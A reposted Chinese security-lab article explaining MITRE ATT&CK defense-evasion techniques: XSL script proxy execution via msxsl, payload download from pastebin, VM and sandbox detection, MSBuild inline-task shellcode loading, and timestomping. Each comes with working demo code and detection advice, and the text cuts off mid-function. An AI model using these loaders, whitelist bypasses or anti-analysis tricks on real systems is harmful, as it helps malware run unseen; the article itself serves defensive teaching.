安全矩阵

 找回密码
 立即注册
搜索
查看: 5717|回复: 0

ATT&CK之防御逃逸(一)

[复制链接]

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
发表于 2019-12-26 16:13:44 | 显示全部楼层 |阅读模式
本帖最后由 only 于 2019-12-26 16:13 编辑

转载自:微信公众号:Alpha 天融信阿尔法实验室



一、前言
      
       本篇文章主要是基于MITRE ATT&CK框架中关于“防御逃逸”(Defense Evasion)的战术专题,笔者将深入介绍其中大部分防御逃逸手段的技术原理、检测方法及缓解方案,为求简洁直观的表达其技术原理,本文对部分战术的实现提供了演示性的代码
        其实在学习MITRE ATT&CK框架并一个个实现其原理的过程中,就会发现我们慢慢的对攻击者的攻击思路和攻击方向有了更清晰的认识,并逐步了解他们是如何发现新的攻击手段的。例如在本次的防御逃逸专题中有个应用程序白名单绕过,攻击者总会在Windows系统上找到一些被系统或杀软信任而不会进行限制的应用程序,这些应用通常是被大家忽视或不常用的。当它们有一些可被利用的漏洞时,就会造成严重后果。但当我们了解了攻击者的思路,或许就可以先他一步找到漏洞,避免损失。
        当然,在网络上充斥着大量的恶意代码,也不断的有新的变种出现,鉴定和分析恶意代码也成为了安全事件响应及信息安全工程师的必备技能。希望本文能够为从事信息安全相关工作的攻城狮带来启发,通过了解这些常规防御逃逸手段而帮助他们在应对入侵响应样本分析等方面工作能够更加游刃有余。
        本文所介绍的防御逃逸战术情况如下:



以Att&ck中对每个防御逃逸战术手段的描述,笔者将每个例子以及所绕过的防御来进行归类,分类情况如下:

二、详例
1、XSL脚本代码代理执行

原理及代码介绍  
      可扩展样式表语言(XSL)文件通常用于描述XML文件中的数据的处理方式和显示方式,其中为了支持复杂的操作,XSL提供了对各种嵌入式脚本的支持,典型的如Javascript。攻击者可能会通过利用此功能来代理执行任意代码,以绕过应用程序白名单防护
        XML是一种可扩展的标记语言,被设计用来传输和存储数据。XML类似于HTML,但是和HTML有着本质的区别, XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观, 即XML旨在传输信息,而HTML旨在显示信息。
        而XSL指扩展样式表语言(EXtensible Stylesheet Language), XSL主要是用于基于XML的样式表语言。XSLT是XSL中最重要的部分,XSLT指XSL Transformations,XSLT 用于将一种 XML 文档转换为另外一种 XML 文档,或者可被浏览器识别的其他类型的文档,比如 HTML 和 XHTML。通常,XSLT 是通过把每个 XML 元素转换为 (X)HTML 元素来完成这项工作的。通过 XSLT,您可以向或者从输出文件添加或移除元素和属性。您也可重新排列元素,执行测试并决定隐藏或显示哪个元素,等等。
        微软提供了一个名为MSXSL的命令行工具,用于执行XSL transformations操作,并可以用来执行嵌入在本地或者远程(通过URL指定)XSL文件中的恶意JavaScript。由于该程序默认不安装在Windows系统上,因此攻击者可能需要将其与恶意文件打包在一起放在目标电脑上。
        执行本地脚本及远程脚本的命令行示例如下:
  1. msxsl.exe customers.xml script.xsl

  2. msxsl.exe http://www.google.com/customers.xml http://www.google.com/script.xsl
复制代码
Customers.xml文件内容如下:
  1. <?xml version="1.0"?>
  2. <?xml-stylesheet type="text/xsl" href="test.xsl" ?>
  3. <customers>
  4. <customer>
  5. <name>Microsoft Windows</name>
  6. </customer>
  7. </customers>
复制代码
Script.xsl 文件内容如下:
  1. <?xml version='1.0'?>
  2. <xsl:stylesheet version="1.0"
  3. xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  4. xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  5. xmlns:user="http://mycompany.com/mynamespace">

  6. <msxsl:script language="JScript" implements-prefix="user">
  7.   function xml(nodelist)
  8.   {
  9. var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
  10. return nodelist.nextNode().xml;
  11.   }
  12. </msxsl:script>
  13. <xsl:template match="/">
  14.   <xsl:value-of select="user:xml(.)"/>
  15. </xsl:template>
  16. </xsl:stylesheet
复制代码
运行效果图
通过CMD进程使用通过命令行进行带参数的命令执行msxsl.exe,test.xsl中的JavaScript会得以执行,该代码执行的宿主程序是msxsl.exe,最后计算器得以执行.
检查及限制方案
      通过进程来监视msxsl.exe的执行及其参数,将该程序最近的调用与历史中已知的良好的调用进行比较,已确定异常和潜在的对抗活动。例如:URL命令行参数、外部网络连接的创建、与脚本关联的动态链接库加载等等事件。
         由于msxsl并不是系统默认附带的,所以如果计算机中意外出现该程序,需要进一步查询该文件的作用及来历。
参考链接

2、利用可信网络服务进行数据隐蔽传输

原理及代码介绍
        部分攻击者会使用现有的合法外部Web服务作为中转服务器,将命令和数据中继到受感染的系统中。也有攻击者在在外部的Web服务中放置C&C服务器的信息,通过将C&C信息放在可编辑的Web服务中,受感染系统首先会与该服务进行通讯,然后解析其中数据开始连接真实的C&C服务器。
        流行的网站和可信的网站可能会为数据隐蔽传输做一下掩盖,因为内网的主机在被入侵之前就有与这些网站进行通信的可能性。使用常见的服务(如Google或Twitter提供的服务)可以使数据交互更容易隐藏。另外Web服务提供商通常使用SSL/TLS加密,这些也为攻击者提供了额外的保护。
        使用Web服务存放C&C服务器信息,可以避免因将该信息硬编码到样本中而被分析发现的可能,同时还可以实现C&C服务器的弹性操作(可以动态修改Web服务中的C&C服务器信息)。
        以下总结Att&CK中列举的知名APT组织或工具使用的相关技术手段,粗略分类可分为三大类:
这里以下载Payload并执行为例,模拟演示使用Web服务存储可执行代码,利用客户端程序下载并执行的过程。下图为Payload代码,Payload运行后仅弹出提示框证明代码执行成功,首先将代码取出并Base64编码,以便以文本方式进行网络提交和保存:
Base64编码后的内容如下:
将编码后的内容上载到pastebin.com,生成一个可访问的链接:
生成后的地址如下:https://pastebin.com/raw/LXrbf7PW,当请求该页面,返回的内容为我们编码后的代码。
通过编写如下代码,完成下载并执行代码的过程。代码较长,这里简述一下执行流程:
        1、 模拟发送HTTPS请求获取指定页面的内容
        2、 BASE64解码所下载的二进制数据
        3、 将二进制字符串转为二进制数值,并申请一段可执行的内存地址存放该代码
        4、 创建新的线程,将代码执行起来

  1. <font color="#ffa500">bool</font> <font color="#ff0000">read_webpage</font>()
  2. {
  3.    <font color="#ffa500"> bool</font> ret =<font color="#0000ff"> false</font>;

  4. <font color="#ffa500">  int </font>decode_len =<font color="#0000ff"> 0</font>;
  5.   BYTE pAllData[<font color="#0000ff">4096</font>] = {<font color="#0000ff">0</font>};
  6.   BYTE pDecodeData[<font color="#0000ff">4096</font>] = {<font color="#0000ff">0</font>};
  7.   BYTE* pMessageBody = <font color="#0000ff">NULL</font>;
  8.   BYTE* pCode =<font color="#0000ff"> NULL</font>;
  9.   HANDLE hNewThread =<font color="#0000ff"> NULL</font>;

  10.   LPCTSTR lpszServerName =<font color="#ff0000"> L"www.pastebin.com"</font>;            <font color="#c0c0c0">//欲访问的服务器</font>
  11.   LPCTSTR lpszObjectName =<font color="#ff0000"> L"/raw/LXrbf7PW"</font>;<font color="#c0c0c0">              //欲访问的页面</font>
  12.   INTERNET_PORT nServerPort = INTERNET_DEFAULT_HTTPS_PORT;      <font color="#c0c0c0">// HTTPS端口443</font>

  13.   LPCTSTR lpszAgent =<font color="#ff0000"> L"WinInetGet/0.1"</font>;
  14.   HINTERNET hInternet = InternetOpen( lpszAgent,INTERNET_OPEN_TYPE_PRECONFIG,<font color="#0000ff"> NULL</font>, <font color="#0000ff">NULL</font>, <font color="#0000ff">0</font>);
  15.   LPCTSTR lpszUserName = <font color="#0000ff">NULL</font>;
  16.   LPCTSTR lpszPassword =<font color="#0000ff"> NULL</font>;
  17.   DWORD dwConnectFlags = <font color="#0000ff">0</font>;
  18.   DWORD dwConnectContext = <font color="#0000ff">0</font>;
  19.   HINTERNET hConnect = InternetConnect(hInternet,lpszServerName, nServerPort,lpszUserName, lpszPassword,INTERNET_SERVICE_HTTP,dwConnectFlags, dwConnectContext);
  20.   LPCTSTR lpszVerb = <font color="#ff0000">L"GET"</font>;
  21.   LPCTSTR lpszVersion =<font color="#0000ff"> NULL</font>;   
  22.   LPCTSTR lpszReferrer = <font color="#0000ff">NULL</font>;   
  23.   LPCTSTR *lplpszAcceptTypes =<font color="#0000ff"> NULL</font>;
  24.   DWORD dwOpenRequestFlags =  INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |
  25.    INTERNET_FLAG_KEEP_CONNECTION |
  26.    INTERNET_FLAG_NO_AUTH |
  27.    INTERNET_FLAG_NO_COOKIES |
  28.    INTERNET_FLAG_NO_UI |
  29.    INTERNET_FLAG_SECURE |
  30.    INTERNET_FLAG_RELOAD;
  31.    DWORD dwOpenRequestContext = <font color="#0000ff">0</font>;

  32.   HINTERNET hRequest = HttpOpenRequest( hConnect, lpszVerb, lpszObjectName, lpszVersion,
  33.     lpszReferrer, lplpszAcceptTypes,dwOpenRequestFlags, dwOpenRequestContext);

  34.   BOOL bResult = HttpSendRequest(hRequest,<font color="#0000ff"> NULL</font>, <font color="#0000ff">0</font>, <font color="#0000ff">NULL</font>, <font color="#0000ff">0</font>);

  35. <font color="#ffa500">  if </font>(!bResult)
  36.   {
  37. <font color="#ffa500">    fprintf</font>(<font color="#ffa500">stderr</font>, <font color="#ff0000">"HttpSendRequest failed, error = %d (0x%x)\n"</font>,GetLastError(), GetLastError());
  38.    <font color="#ffa500"> goto</font> SAFE_EXIT;
  39.   }

  40.   DWORD dwInfoLevel = HTTP_QUERY_RAW_HEADERS_CRLF;
  41.   DWORD dwInfoBufferLength = 2048;
  42.   BYTE *pInfoBuffer = (BYTE *)<font color="#ffa500">malloc</font>(dwInfoBufferLength+<font color="#0000ff">2</font>);
  43. <font color="#ffa500">  while </font>(!HttpQueryInfo(hRequest, dwInfoLevel, pInfoBuffer, &dwInfoBufferLength, <font color="#0000ff">NULL</font>))
  44.   {
  45.     DWORD dwError = GetLastError();
  46.    <font color="#ffa500"> if</font> (dwError == ERROR_INSUFFICIENT_BUFFER)
  47.     {
  48.        <font color="#ffa500"> free</font>(pInfoBuffer);
  49.         pInfoBuffer = (BYTE *)malloc(dwInfoBufferLength + 2);
  50.     }
  51.    <font color="#ffa500"> else</font>
  52.    {
  53.         <font color="#ffa500">fprintf</font>(<font color="#ffa500">stderr</font>, <font color="#ff0000">"HttpQueryInfo failed, error = %d (0x%x)\n"</font>,
  54.         GetLastError(), GetLastError());
  55.         <font color="#ffa500">break</font>;
  56.     }
  57.   }
  58.   pInfoBuffer[dwInfoBufferLength] =<font color="#ff0000"> '\0'</font>;
  59.   pInfoBuffer[dwInfoBufferLength + <font color="#0000ff">1</font>] = <font color="#ff0000">'\0'</font>;
  60. <font color="#c0c0c0">  //printf("%S", pInfoBuffer); </font>
  61. <font color="#ffa500">  free</font>(pInfoBuffer);

  62.   DWORD dwBytesAvailable;
  63. <font color="#c0c0c0">  //读取raw数据</font>
  64. <font color="#ffa500">  while </font>(InternetQueryDataAvailable(hRequest, &dwBytesAvailable,<font color="#0000ff"> 0</font>, <font color="#0000ff">0</font>))
  65.   {
  66.     pMessageBody = (BYTE *)<font color="#ffa500">malloc</font>(dwBytesAvailable+1);
  67.     DWORD dwBytesRead;
  68.     BOOL bResult = InternetReadFile(hRequest, pMessageBody,
  69.       dwBytesAvailable, &dwBytesRead);
  70. <font color="#ffa500">    if</font> (!bResult)
  71.     {
  72. <font color="#ffa500">    fprintf</font>(stderr,<font color="#ff0000"> "InternetReadFile failed, error = %d (0x%x)\n",</font>
  73.     GetLastError(), GetLastError());
  74. <font color="#ffa500">    goto</font> SAFE_EXIT;
复制代码

最后执行情况如下:

检查和缓解方案
检测方法
        1、分析网络数据中不常见的数据流(例如,客户端发送的数据明显多于从服务器接收的数据),用户行为监视可能有助于检测异常活动模式。另外通讯频率也是至关重要的考量单位,单位时间内高频率的Web访问需要重点关注其具体行为。
        2、分析数据包内容以检测未遵循所使用端口的预期协议行为的通信。
缓解方案:
        1、使用网络签名识别特定攻击者恶意程序的流量,通过网络入侵检测和网络访问限制防御系统缓解网络级别的恶意活动。
        2、使用Web代理实施外部网络通讯策略,以防止使用未经授权的外部网络访问服务。
参考链接

3、虚拟化和沙箱的检测


原理及代码介绍
        恶意软件分析人员经常会使用隔离的环境(如 虚拟机、沙箱)来分析未知程序中的恶意代码,为了逃避分析并绕过安全系统检测,恶意软件作者通常会添加代码来检测目前是否运行在隔离的环境。一旦检测到这种环境,恶意软件就可以阻止恶意代码运行,或者可以改变恶意软件的行为,从而避免在VM中运行时暴露恶意活动。
        例如:在真实硬件上运行时,恶意软件将连接到其C&C服务器,但是在检测到VM时,它将连接到合法域名,从而使分析人员或自动安全检测系统认为这是合法代码。
        攻击者可以通过搜索安全监测工具(例如Sysinternals,Wireshark等)来确定目前是否为分析环境。通过搜索流行的虚拟化方案的固有特征以监测是否运行在虚拟化环境中, 如搜索VMTools进程是否存在以确认是否在VMWare中运行。在恶意代码中使用计时器或循环,来监测代码是否在沙箱中运行。
        虚拟机软件主要是模仿真实硬件的硬件功能,但是通常会在操作系统中存在一些特征,这有助于表明它确实是虚拟机而不是物理机。这些特征可能是特定的文件、进程、注册表项、服务或者是网络设备适配器等等。利用这一“设计缺陷”,编码以检测虚拟机配置文件、可执行文件、注册表项或其他特征,从而操纵其原始执行流程。此行为称为“反沙箱”或“反VM”。Att&ck中列举了多种策略,恶意软件使用这些策略来检查流行的沙箱和虚拟环境,下面笔者将以一些常规策略为例,介绍其检测手法及代码实现的原理。

通过WMI 检查主板信息及BIOS信息,以确认是否在虚拟机中运行
        在虚拟机中安装的操作系统, 由于其部分硬件为虚构出来的, 有不少硬件存在固定的特征,可以利用该特征来确认是否运行于虚拟机中。如BIOS信息、硬盘信息。众所周知,通过Windows系统中WMI提供的接口可以查询到操作系统中绝大多数的相关信息。如下图所示,通过命令行调用WMIC在使用WMI查询硬盘信息,可以确认,默认的虚拟机中其硬盘名称中包含Vmware 字样,而真实物理机中通常不含这样的信息:

进一步查询BIOS 的编号,不难发现其编号中也有Vmware字样,而真实物理机中却不包含。
我们完全可以以这样的差异,用于检测代码是否运行在虚拟系统中,如下的代码演示了通过新建命令行程序并执行查询BIOS编号,通过检查其中是否有Vmware字符串来确定是否允许于Vmware虚拟机中,同理,读者可以尝试一下在其他诸如VirtualBox的虚拟化环境中是否有这样的特征.

  1. /*
  2.   通过WMI查询, 检查主板信息和BIOS信息,以确认是否在VM中运行
  3. */
  4. bool checkvm_by_wmiinfo()
  5. {
  6.   bool ret = false;
  7.   DWORD cb = 0;
  8.   DWORD need_read_cb;
  9.   DWORD data_avail;
  10.   HANDLE new_process;
  11.   STARTUPINFO si;
  12.   PROCESS_INFORMATION pi;
  13.   HANDLE read_pipe_handle, write_pipe_handle;   
  14.   SECURITY_ATTRIBUTES sa_attr;
  15.   BYTE read_buffer[0x1000];
  16.   
  17.   sa_attr.nLength = sizeof(SECURITY_ATTRIBUTES);
  18.   sa_attr.bInheritHandle = TRUE;
  19.   sa_attr.lpSecurityDescriptor = NULL;


  20.   if(!CreatePipe(&read_pipe_handle, &write_pipe_handle, &sa_attr, 0))
  21.   {
  22.     goto Error_Exit;
  23.   }

  24.   memset(&si, 0, sizeof(si));
  25.   memset(&pi, 0, sizeof(pi));
  26.   GetStartupInfo(&si);
  27.   si.cb = sizeof(si);
  28.   si.wShowWindow = SW_HIDE;
  29.   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  30.   si.hStdOutput = write_pipe_handle;
  31.   si.hStdError = write_pipe_handle;

  32.   if (!CreateProcess(_TEXT("c:\\windows\\system32\\cmd.exe"), _TEXT("\/c wmic bios get serialnumber"), NULL,
  33.     NULL, TRUE, NULL, NULL, NULL, &si, &pi))
  34.   {
  35.     goto Error_Exit;
  36.   }
  37.   WaitForSingleObject(pi.hProcess, INFINITE);
  38.   
  39.   do
  40.   {
  41.     if (!PeekNamedPipe(read_pipe_handle, NULL, NULL, &need_read_cb, &data_avail, NULL) || data_avail <= 0)
  42.     {
  43.       break;
  44.     }

  45.     if (!ReadFile(read_pipe_handle, read_buffer,data_avail, &cb, NULL))
  46.     {
  47.       goto Error_Exit;
  48.     }
  49.    
  50.     //读取的 read_buffer 可能为unicode 编码!!!
  51.     if(strstr((char*)read_buffer, ("VMware")) != NULL)
  52.     {
  53.       ret = true;
  54.       break;
  55.     }
  56.   } while (true);

  57. Error_Exit:
  58.   if(read_pipe_handle != NULL)
  59.   {
  60.     CloseHandle(read_pipe_handle);
  61.     read_pipe_handle = NULL;
  62.   }
  63.   if(write_pipe_handle != NULL)
  64.   {
  65.     CloseHandle(write_pipe_handle);
  66.     write_pipe_handle = NULL;
  67.   }
  68.   if(pi.hProcess != NULL)
  69.   {
  70.     CloseHandle(pi.hProcess);
  71.   }
  72.   if (pi.hThread != NULL)
  73.   {
  74.     CloseHandle(pi.hThread);
  75.   }
  76.   return ret;
  77. }
复制代码

搜索系统中的进程名称,通过检查是否正在运行有流行虚拟机的特有进程,来检查是否运行在虚拟机中
虚拟机为了实现某些功能,通常需要在虚拟的系统中安装一些程序,通过这些程序配合宿主机中安装的程序来完成,如下图所示的vmtoolsd进程,即为VMware实现拖拽功能所须安装的程序,通常情况下,虚拟机都会安装该程序以实现真机和虚拟机的无缝拖拽功能。

  1. /*
  2.   搜索系统中的进程名称,通过检查流行虚拟机的特有进程,来检查是否运行在虚拟机中
  3. */
  4. bool checkvm_by_process()
  5. {
  6.   bool ret = false;
  7.   HANDLE process_snap;
  8.   PROCESSENTRY32 pe32;

  9.   process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  10.   if (process_snap == INVALID_HANDLE_VALUE)
  11.   {
  12.     goto Error_Exit;
  13.   }

  14.   pe32.dwSize = sizeof(PROCESSENTRY32);
  15.   if (!Process32First(process_snap, &pe32))
  16.   {
  17.     goto Error_Exit;
  18.   }

  19.   do
  20.   {
  21.     if ((lstrcmp(pe32.szExeFile, _TEXT("vmtoolsd.exe")) == 0) ||
  22.       (lstrcmp(pe32.szExeFile, _TEXT("vmwaretrat.exe")) == 0)||
  23.       (lstrcmp(pe32.szExeFile, _TEXT("vmwareuser.exe")) == 0)||
  24.       (lstrcmp(pe32.szExeFile, _TEXT("vmacthlp.exe")) == 0)||
  25.       (lstrcmp(pe32.szExeFile, _TEXT("vboxservice.exe")) == 0)||
  26.       (lstrcmp(pe32.szExeFile, _TEXT("vboxtray.exe")) == 0))
  27.     {
  28.       ret = true;
  29.             break;
  30.     }

  31.   } while (Process32Next(process_snap, &pe32));
  32.   
  33. Error_Exit:
  34.   if (process_snap != INVALID_HANDLE_VALUE)
  35.   {
  36.     CloseHandle(process_snap);
  37.     process_snap = INVALID_HANDLE_VALUE;
  38.   }
  39.   return ret;
  40. }
复制代码
检查及限制方案
        一般而言,虚拟机及沙箱的检测无法通过预防性控制进行环境,因为它基于滥用系统功能
参考链接

4、受信任的开发人员实用程序利用

原理及代码介绍
        有许多实用程序用于软件开发相关的任务,这些实用程序可以用于执行各种形式的代码,以帮助开发人员进行快速开发、调试和逆向工程。这些实用程序通常拥有合法证书进行签名,以使他们可以在系统上执行,通过这些可信任的进程代理执行恶意代码,可以绕过系统中应用程序防御白名单机制。以下将以MSBuild为例,说明该例。        Microsoft Build Engine 是一个用于生成应用程序的平台。此引擎(也称为 MSBuild)为项目文件提供了一个 XML 架构,用于控制生成平台处理和生成软件的方式。Visual Studio 会使用 MSBuild,但它不依赖于 Visual Studio。通过在项目或解决方案文件中调用 msbuild.exe ,可以在未安装 Visual Studio 的环境中安排和生成产品。
        Visual Studio 使用 MSBuild 来加载和生成托管项目。Visual Studio 中的项目文件(.csproj 、.vbproj 、vcxproj 等)包含 MSBuild XML 代码,当你使用 IDE 来生成项目时,此代码就会运行。Visual Studio 项目会导入所有必要的设置和生成过程来执行典型的开发工作,但你可以从 Visual Studio 内或通过使用 XML 编辑器对其进行扩展或修改。        
        攻击者可以使用MSBuild通过受信任的Windows实用工具进行代码代理执行,以绕过系统的Applocker 或者 是杀软的白名单检查机制。.Net 4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中,MSBuild将编译并执行内联任务。MSBuild.exe是一个经过Microsoft签名的二进制文件,因此以这种方式使用它时,可以执行执行任意代码,并绕过配置为允许MSBuild执行的应用程序白名单防护。
MSBuild可编译特定格式的XML文件,在.NETFramework 4.0中支持了一项新功能”Inline Tasks”,被包含在元素UsingTask中,可用来在XML文件中执行C#代码,如下的XML文件中包含了加载并执行Shellcode的过程:

  1. <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  2.   <!-- This inline task executes shellcode. -->
  3.   <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  4.   <!-- Save This File And Execute The Above Command -->
  5.   <!-- Author: Casey Smith, Twitter: @subTee -->
  6.   <!-- License: BSD 3-Clause -->
  7.   <Target Name="Hello">
  8.     <ClassExample />
  9.   </Target>
  10.   <UsingTask
  11.     TaskName="ClassExample"
  12.     TaskFactory="CodeTaskFactory"
  13.     AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
  14.     <Task>
  15.    
  16.       <Code Type="Class" Language="cs">
  17.       <![CDATA[
  18.         using System;
  19.         using System.Runtime.InteropServices;
  20.         using Microsoft.Build.Framework;
  21.         using Microsoft.Build.Utilities;
  22.         public class ClassExample :  Task, ITask
  23.         {         
  24.           private static UInt32 MEM_COMMIT = 0x1000;         
  25.           private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;         
  26.           [DllImport("kernel32")]
  27.             private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
  28.             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);         
  29.           [DllImport("kernel32")]
  30.             private static extern IntPtr CreateThread(            
  31.             UInt32 lpThreadAttributes,
  32.             UInt32 dwStackSize,
  33.             UInt32 lpStartAddress,
  34.             IntPtr param,
  35.             UInt32 dwCreationFlags,
  36.             ref UInt32 lpThreadId           
  37.             );
  38.           [DllImport("kernel32")]
  39.             private static extern UInt32 WaitForSingleObject(           
  40.             IntPtr hHandle,
  41.             UInt32 dwMilliseconds
  42.             );         
  43.           public override bool Execute()
  44.           {
  45.             byte[] shellcode = new byte[304]{
  46.                   0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8D, 0x45, 0xEC, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65,
  47.                   0x72, 0x33, 0xDB, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x50, 0xB9, 0x4C, 0x77, 0x26, 0x07,
  48.                   0x66, 0xC7, 0x45, 0xF4, 0x6C, 0x6C, 0x88, 0x5D, 0xF6, 0xC7, 0x45, 0xF8, 0x74, 0x6F, 0x70, 0x73,
  49.                   0x66, 0xC7, 0x45, 0xFC, 0x65, 0x63, 0x88, 0x5D, 0xFE, 0xE8, 0x1A, 0x00, 0x00, 0x00, 0xFF, 0xD0,
  50.                   0x53, 0x8D, 0x45, 0xF8, 0xB9, 0x45, 0x83, 0x56, 0x07, 0x50, 0x50, 0x53, 0xE8, 0x07, 0x00, 0x00,
  51.                   0x00, 0xFF, 0xD0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00,
  52.                   0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9,
  53.                   0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44,
  54.                   0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74,
  55.                   0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04,
  56.                   0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8,
  57.                   0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B,
  58.                   0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33,
  59.                   0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF,
  60.                   0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24,
  61.                   0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56,
  62.                   0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83,
  63.                   0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7,
  64.                   0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB
  65.                 };
  66.               
  67.               UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
  68.                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  69.               Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
  70.               IntPtr hThread = IntPtr.Zero;
  71.               UInt32 threadId = 0;
  72.               IntPtr pinfo = IntPtr.Zero;
  73.               hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  74.               WaitForSingleObject(hThread, 0xFFFFFFFF);
  75.               return true;
  76.           }
  77.         }     
  78.       ]]>
  79.       </Code>
  80.     </Task>
  81.   </UsingTask>
  82. </Project>
复制代码
该XML文件中包含的C#代码,采用了VirtualAlloc()申请内存空间,并将Shellcode拷贝到该地址,最后调用CreateThread()创建线程开始执行,并等待shellcode执行完毕后退出。其中Shellcode由VS编译生成的可执行文件提取而来,运行后弹出提示框。如下图所示:
使用CMD执行”MSBuild execute shellcode.xml” 指定的shellcode 便执行起来
检查及限制方案
        使用进程监视工具来监视MSBuild.exe,dnx.exe,rcsi.exe,WinDbg.exe,cdb.exe和tracker.exe的执行和参数, 将这些二进制文件的最近调用与已知良好参数的调用进行比较,已确定异常活动和潜在的对抗活动。这些实用程序很可能会被软件开发人员使用或用于其他与软件开发相关的任务,因此,如果该程序存在并在该用途之外进行使用,则该事件可能是可疑的。对调用实用程序之前和之后使用的命令参数进行分析, 也可能对确定该可执行文件的来源和目的有帮助。
参考链接

5、时间戳伪装
原理及代码介绍
        系统中的每一个文件,都有着与时间有关的属性,如文件创建时间、最后一次修改时间及文件最后一次的访问时间等属性。为了使某些文件看起来更像是原本就存在于文件夹中,而不是后来新加入的,恶意软件通常会修改文件的时间戳,对于某些取证工具或者分析人员而言,经过调整文件时间与大部分已有文件一致,使得文件不会显得那么明显,从而能够逃避部分主机取证分析
         Att&CK中列举了诸多APT攻击所采用的更改时间戳的防御手段,如伪造PE文件编译时间、修改为desktop.ini文件的时间戳、或是修改恶意文件为Kernel32.dll的文件时间等等,在进行分析的过程中,文件的时间戳也是判断文件来源及合法性的一个有利依据,通过将文件的时间戳改为和系统文件一致,或许可以干扰人工分析的视线,如下的代码演示了利用系统文件Kernel32.dll的时间戳来伪造任意文件的时间戳的过程。
  1. bool change_time_usekernel32(TCHAR* file_path)
  2. {
  3.   bool ret = false;
  4.   TCHAR sysdir[MAX_PATH];
  5.   TCHAR kernel32_path[MAX_PATH];
  6.   HANDLE kernel32_handle = INVALID_HANDLE_VALUE;
  7.   HANDLE targetfile_handle = INVALID_HANDLE_VALUE;
  8.   
  9.   FILETIME create_time;
  10.   FILETIME lastaccess_time;
  11.   FILETIME lastwrite_time;

  12.   //获取kernel32.dll模块的文件时间
  13.   GetSystemDirectory(sysdir, MAX_PATH);
  14.   wsprintf(kernel32_path, _TEXT("%s%s"), sysdir, _TEXT("\\kernel32.dll"));
  15.   
  16.   kernel32_handle = CreateFile(kernel32_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  17.   if (kernel32_handle == INVALID_HANDLE_VALUE)
  18.   {
  19.     goto Error_Exit;
  20.   }
  21.   
  22.   if(!GetFileTime(kernel32_handle, &create_time, &lastaccess_time, &lastwrite_time))
  23.   {
  24.     goto Error_Exit;
  25.   }

  26.   //重置目标文件的文件时间
  27.   targetfile_handle = CreateFile(file_path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  28.   if (targetfile_handle == INVALID_HANDLE_VALUE)
  29.   {
  30.     goto Error_Exit;
  31.   }

  32.   if (!SetFileTime(targetfile_handle, &create_time, &lastaccess_time, &lastwrite_time))
  33.   {
  34.     goto Error_Exit;
  35.   }

  36.   ret = true;

  37. Error_Exit:
  38.   if (targetfile_handle != INVALID_HANDLE_VALUE)
  39.   {
  40.     CloseHandle(targetfile_handle);
  41.   }
  42.   if (kernel32_handle != INVALID_HANDLE_VALUE)
  43.   {
